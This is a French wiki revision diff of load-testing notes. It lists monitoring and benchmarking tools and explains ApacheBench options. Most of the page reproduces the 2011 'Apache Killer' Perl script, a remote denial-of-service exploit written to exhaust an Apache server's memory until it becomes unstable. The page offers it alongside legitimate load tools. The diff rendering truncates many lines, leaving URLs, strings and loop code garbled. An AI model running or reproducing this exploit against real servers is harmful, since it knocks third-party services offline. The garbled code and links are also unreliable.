tech:perf_test_de_charge
Différences
Ci-dessous, les différences entre deux révisions de la page.
| Les deux révisions précédentesRévision précédente | |||
| tech:perf_test_de_charge [2025/05/25 19:13] – Jean-Baptiste | tech:perf_test_de_charge [2026/03/19 17:46] (Version actuelle) – Jean-Baptiste | ||
|---|---|---|---|
| Ligne 1: | Ligne 1: | ||
| + | < | ||
| + | {{tag> | ||
| + | |||
| + | # Perf test de charge | ||
| + | |||
| + | Liens : | ||
| + | * http:// | ||
| + | * HPC https:// | ||
| + | |||
| + | Outils analyse : | ||
| + | * atop | ||
| + | * sar / sysstat | ||
| + | * tload | ||
| + | * munin | ||
| + | |||
| + | Outils charge : | ||
| + | * jmeters | ||
| + | * ab (apache) | ||
| + | * artillery.io | ||
| + | * gatling | ||
| + | * script perl Apache Killer (Remote DOS Perl Script) | ||
| + | * hey | ||
| + | |||
| + | Autre : | ||
| + | * [PhantomJS](https:// | ||
| + | |||
| + | ## Jmeter | ||
| + | |||
| + | Voir aussi : | ||
| + | * Gatling | ||
| + | |||
| + | Voir | ||
| + | * http:// | ||
| + | * http:// | ||
| + | * https:// | ||
| + | |||
| + | ## AB | ||
| + | |||
| + | Voir aussi : | ||
| + | * [siege](https:// | ||
| + | * httperf | ||
| + | * [pronk](https:// | ||
| + | |||
| + | Bloquer les attaques DOS | ||
| + | * https:// | ||
| + | |||
| + | https:// | ||
| + | |||
| + | Exemple : | ||
| + | ~~~bash | ||
| + | ab -n 1000 -c 5 http:// | ||
| + | ab -r -n 100 -c 10 -k -H " | ||
| + | ab -n 500 -c 100 -g out.data http:// | ||
| + | ab -n 10 -c 5 -A utilisateur: | ||
| + | ~~~ | ||
| + | |||
| + | **-n** : nombre de requêtes\\ | ||
| + | **-c** : concurence, nombre de requête simultanées\\ | ||
| + | **-k** : HTTP **KeepAlive**\\ | ||
| + | **-e apache.csv** : Export les données dans un fihcier CSV\\ | ||
| + | **-r** : Ne pas se terminer si erreur sur le socket\\ | ||
| + | **-f** : Spécificer le protocol SSL/TLS\\ | ||
| + | **-A** : Authentification\\ | ||
| + | **-C** : cookie-name=value | ||
| + | |||
| + | |||
| + | ## Script Perl Apache Killer (Remote DOS Perl Script) | ||
| + | |||
| + | Source : http:// | ||
| + | |||
| + | '' | ||
| + | ~~~perl | ||
| + | #Apache httpd Remote Denial of Service (memory exhaustion) | ||
| + | #By Kingcope | ||
| + | #Year 2011 | ||
| + | # | ||
| + | # Will result in swapping memory to filesystem on the remote side | ||
| + | # plus killing of processes when running out of swap space. | ||
| + | # Remote System becomes unstable. | ||
| + | # | ||
| + | |||
| + | use IO::Socket; | ||
| + | use Parallel:: | ||
| + | |||
| + | sub usage { | ||
| + | print " | ||
| + | print "by Kingcope\n"; | ||
| + | print " | ||
| + | print " | ||
| + | } | ||
| + | |||
| + | sub killapache { | ||
| + | print " | ||
| + | |||
| + | $pm = new Parallel:: | ||
| + | |||
| + | $|=1; | ||
| + | srand(time()); | ||
| + | $p = ""; | ||
| + | for ($k=0; | ||
| + | $p .= ", | ||
| + | } | ||
| + | |||
| + | for ($k=0; | ||
| + | my $pid = $pm-> | ||
| + | |||
| + | $x = ""; | ||
| + | my $sock = IO:: | ||
| + | | ||
| + | Proto => ' | ||
| + | |||
| + | $p = "HEAD / HTTP/ | ||
| + | print $sock $p; | ||
| + | |||
| + | while(< | ||
| + | } | ||
| + | | ||
| + | } | ||
| + | $pm-> | ||
| + | print ": | ||
| + | } | ||
| + | |||
| + | sub testapache { | ||
| + | my $sock = IO:: | ||
| + | | ||
| + | Proto => ' | ||
| + | |||
| + | $p = "HEAD / HTTP/ | ||
| + | print $sock $p; | ||
| + | |||
| + | $x = < | ||
| + | if ($x =~ /Partial/) { | ||
| + | print "host seems vuln\n"; | ||
| + | return 1; | ||
| + | } else { | ||
| + | return 0; | ||
| + | } | ||
| + | } | ||
| + | |||
| + | if ($#ARGV < 0) { | ||
| + | usage; | ||
| + | exit; | ||
| + | } | ||
| + | |||
| + | if ($#ARGV > 1) { | ||
| + | $numforks = $ARGV[1]; | ||
| + | } else {$numforks = 50;} | ||
| + | |||
| + | $v = testapache(); | ||
| + | if ($v == 0) { | ||
| + | print "Host does not seem vulnerable\n"; | ||
| + | exit; | ||
| + | } | ||
| + | while(1) { | ||
| + | killapache(); | ||
| + | } | ||
| + | ~~~ | ||
| + | |||
